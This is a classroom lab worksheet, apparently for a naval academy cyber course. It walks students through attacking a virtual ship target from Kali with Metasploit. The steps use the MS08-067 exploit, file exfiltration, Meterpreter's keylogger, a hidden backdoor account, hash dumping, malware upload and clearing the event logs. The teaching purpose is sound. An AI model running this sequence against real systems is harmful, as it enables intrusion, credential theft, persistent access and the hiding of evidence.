**SY110 Cyber Attack Lab**

Congratulations you have been selected to launch a cyber attack against an enemy target. In doing so, you will work through all phases of a cyber attack; Reconnaissance, Infiltrate and Maneuver, Exfiltrate, and Maintain Access. You will locate important information and install malware on the target systems as well as take steps to ensure you can maintain access to the system.

You will be assigned a Kali Linux machine from which to launch your attack against a target ship. Anywhere in the lab you see <brackets>, indicates you need to replace the brackets and words inside with your own information minus the brackets. Follow the directions carefully and you will be successful at conducting your first Cyber Attack!

1. To begin, go to: <https://sy110.moboard.com/attack/message.cgi> to input your alpha and get your assignment!

2. List the two IP addresses that you were assigned on the assignment webpage, you will need to reference these frequently:

|  |  |
| --- | --- |
| Kali IP Address: |  |
| Ship’s IP Address: |  |

3. Next step is to SSH into the Gateway server. To do this, on your computer open a command shell by typing cmd in the search bar. Inside the command shell type **ssh <m23xxxx>@sy110.moboard.com** (where m23xxxx is your alpha) The password is your alpha minus the “m”, so just 23xxxx.

4. Once logged in, your prompt should change to green and say **m23xxxx@sy110**. You now have a shell into the Gateway server which is inside the virtual environment we are using for this lab.

5. You will now ssh into the attack system which is the Kali system which you noted above. To do this

type ssh root@<Kali IP Address> replace <Kali IP Address> with the IP address you have written down for the Kali system above. You may receive a warning about adding this system to the list of known hosts, you can input ‘yes’. The password is toor (root backwards).

6. You should now be ssh’ed into the kali machine, you will know this, because your prompt will now say root@kalimaster01. Double check to see that you are on the correct machine by typing:

**ifconfig**

|  |
| --- |
|  |

Under the **eth0** settings, does the **inet** match your kali IP Address, yes or no?

If no, go back and redo step 5 and 6.

Once in the Kali system you have a host of tools at your disposal. Kali has over 600 penetration testing and reconnaissance tools built into it. The tool we are going to use is *Metasploit*. Metasploit is a framework of exploitation tools used by many hackers and pen-testers.

**Reconnaissance Phase**

You basically did most of the reconnaissance phase last week, but we need to verify the system is still available. We will ping the target ship to verify it is up and running. In your Kali shell enter:

**ping** <Ship IP Address>

Use CTRl+C to stop the ping. What are the results after you ping the target ship? If you do not get a response, let your instructor know.

|  |
| --- |
|  |

Is the host connected to the network (i.e., up)?

|  |
| --- |
|  |

What is the return trip time (just pick one):

|  |
| --- |
|  |

TTL:

**Infiltration Phase**

Now that we have verified our target ship is up and running, we can launch Metasploit. To launch Metasploit in your Kali shell, type:

**msfconsole**

Give it a minute to load and it should say **msf5** along with some asci art.

|  |
| --- |
|  |

Do you see **msf5** as your prompt, yes or no?

What is the ASCII picture of?

|  |
| --- |
|  |
|  |

If you like, you can refresh and cycle through all of the Metasploit ASCII images by repeatedly running the command **banner**.

The exploit N2 (Naval Intelligence) picked for us to use is exploit named **ms08\_067\_netapi.** This module exploits a parsing flaw in the path canonicalization code of NetAPI32.dll through the Server Service. But you don’t have to know that, just know it can be used to exploit an older Windows operating system and will give you elevated privileges on that system. To use the exploit simply type:

**use exploit/windows/smb/ms08\_067\_netapi**

Once you have done that your prompt should now look like:

**msf5 exploit(windows/smb/ms08\_067\_netapi)>**

|  |
| --- |
|  |

Have you successfully loaded the exploit, yes or no?

Now, type:

**show options**

It shows you the current configuration of the exploit, if you’ll notice the RHOSTS current setting is blank, so we will need to set that. Set the RHOSTs to your target Ship’s IP address by typing:

**set RHOST** <Ship IP Address>

Now that you have set the RHOST address, you can launch the exploit by typing:

**exploit**

It should say starting a reverse TCP handler on the target IP address. A reverse TCP handler is a script that forces the target (victim) to contact the attacker, thereby bypassing some inbound firewall rules that would have blocked the connection. Once the exploit has executed is should open a Meterpreter session with the prompt now looking like:

**meterpreter >**

You should now basically have a shell inside the target machine. Similar to as if you ssh’ed into the target machine. Let’s check to make sure we have a shell into the correct system. Type:

**ipconfig**

|  |
| --- |
|  |

Does the **IPv4 Address** at the bottom interface match your target ship, yes or no?

**Maneuver Phase**

So, we have now achieved infiltration into the target system. Next step is to maneuver around the system and find things of interest. N2 has asked you to locate a document, the only thing they know is that it has “opsked” in the title. So how can you look for it? Well, first let’s see where we are on the system. To do that type:

**pwd**

It should say you are in the **C:\WINDOWS\system32** directory. That makes sense you have created a session as a system process. Now let’s see what files are in this directory. Type:

**dir**

Whoa, that is a lot of files! It would almost be impossible to locate the file we are looking for by manually searching for it. Fortunately, Meterpreter has a built-in search function conveniently named **search**. See its options by typing:

**search –h**

What are the four search options?

|  |
| --- |
|  |
|  |
|  |
|  |

So, we can use the search function to locate our file. Since we only know that the file begins with “opsked”, we will have to use the wildcard operator. A wildcard operator basically says search for this string and include any results that contain it. In this case the asterisk (\*) is our wildcard operator. So, to search for the file type we will use the “-f” option for “file” and type:

**Search –f opsked\***

Where did you locate the file?

|  |
| --- |
|  |

**Exfiltration Phase**

Ok now we know where the file is, it is time to exfiltrate it for N2 (Navy Intel) to use. In order to do that we have to download it to our Kali attack system where N2 can access it. To download the file, type:

**download c:\Documents and Settings\sysadmin\My Documents\opsked\_01MAY2020.doc**

|  |
| --- |
|  |

Did that work?

It probably didn’t work because Meterpreter doesn’t like spaces, so try putting quotes around the file path and see if that works:

**download “c:\Documents and Settings\sysadmin\My Documents\opsked\_01MAY2020.doc”**

Do you think it worked this time, why?

|  |
| --- |
|  |
|  |

Great! Now N2 can pick up the file from your Kali machine and examine it. At this point you have violated one of the Pillars of Cyber Security. Which pillar did you violate and why?

|  |
| --- |
|  |
|  |
|  |

While we wait for them to access it, let’s install a keylogger on the target system. A keylogger is a program that records every keystroke that is typed on the victim machine. Meterpreter has a built in keylogger that we can deploy. To deploy the keylogger type:

**keyscan\_stop** (this will stop the process if it’s already running)

and then…

**keyscan\_start** (this will start the process again)

What message did you get?

|  |
| --- |
|  |

Next time someone wants to log into the system, we will be able to see the password they typed when they logged in. To access the keylogger log file you would type **keyscan\_dump**. You could try it, but there won’t be anything in there yet.

|  |
| --- |
|  |

If you were to get someone’s password and log in with it, which Pillar of Cyber Security would you have violated?

Since we have a little time, let’s take some steps to make sure we can get back into the system after they have patched the vulnerability we are using now.

**Maintain Access Phase**

An easy way to maintain access is to create an account for yourself to log in with. Since these people don’t patch and update their systems, it’s a pretty good bet they don’t check for unusual accounts.

Once again, Meterpreter has a command to create an account for us to use to remote desktop into the target system. Since we are not able to get onboard the ship and sit at the actual computer, Remote Desktop is the next best thing. Remote Desktop basically emulates as if you were sitting at the computer, you can see the desktop, access programs and files as you normally would. Let’s create a user that we could use to Remote Desktop into the system. In your Meterpreter shell type:

**run getgui –u <username> -p <password>**

Replace <username> with any username that won’t draw attention, and <password> with any password you want (don’t use a real password!).

Summarize the message you received after executing the command:

|  |
| --- |
|  |
|  |
|  |

Meterpreter has a way to see the SAM database that Windows uses for authentication. One way to check to see if your user was created is to access this file and see if your user is listed. To do this type:

**hashdump**

|  |
| --- |
|  |

Do you see the user you created?

|  |
| --- |
|  |

What name did you give your user?

What does the structure of the file remind you of? Possibly the pswd.txt file on our message board? If you remember back to the Hashing and Passwords lesson, we hashed and salted the password file and it looked very similar to this.

What does this tell you about Windows systems?

|  |
| --- |
|  |
|  |

Great news, we have heard back from N2. They accessed the document you provided and developed malware that you need to install. This malware is called gpsskew.exe, and targets the GPS system of the ship by offsetting the GPS so the ship appears 200 yards more to Starboard than it actually is. Your job is to simply install it in the C:\Windows\System32 folder on the ship and N2 will do the rest. N2 has left the malware in your “Malware” folder on your Kali attack system. Uploading the file to the target system is very similar to downloading. First make sure you are still in the Windows/system32 directory by typing:

**pwd**

What is the result?

|  |
| --- |
|  |

Now upload the file to this directory by typing;

**upload Malware/gpsskew.exe**

Let’s check and see if it uploaded correctly, type:

**search –f gpsskew.exe**

|  |
| --- |
|  |

Did you see it?

At this point you have now violated another Pillar of Cyber Security, which one is it and why?

|  |
| --- |
|  |
|  |
|  |

Well done, we are almost finished! The last thing we have to do is cover our tracks. Fortunately, Meterpreter has an easy way to clear the event log of our session. To erase the event logs, type:

**clearev**

|  |
| --- |
|  |

How many records from ***Application*** did it wipe?

|  |
| --- |
|  |

How many records from ***System*** did it wipe?

|  |
| --- |
|  |

How many records from ***Security*** did it wipe?

Now you have violated yet another Pillar of Cyber Security! Which one is it, and why?

|  |
| --- |
|  |
|  |
|  |

Good job, you are now done. You can type **quit** to quit Meterpreter, and type **exit –y** to exit Metasploit, or you can attempt the **extra credit**.

**Extra Credit - Find Bigfoot**

No seriously, find Bigfoot. Somewhere on the target machine is a file called “bigfoot” find it and tell us the path and type of file for extra credit.

Path to Bigfoot:

|  |
| --- |
|  |

|  |
| --- |
|  |

What type of file is it (i.e. the file extension)?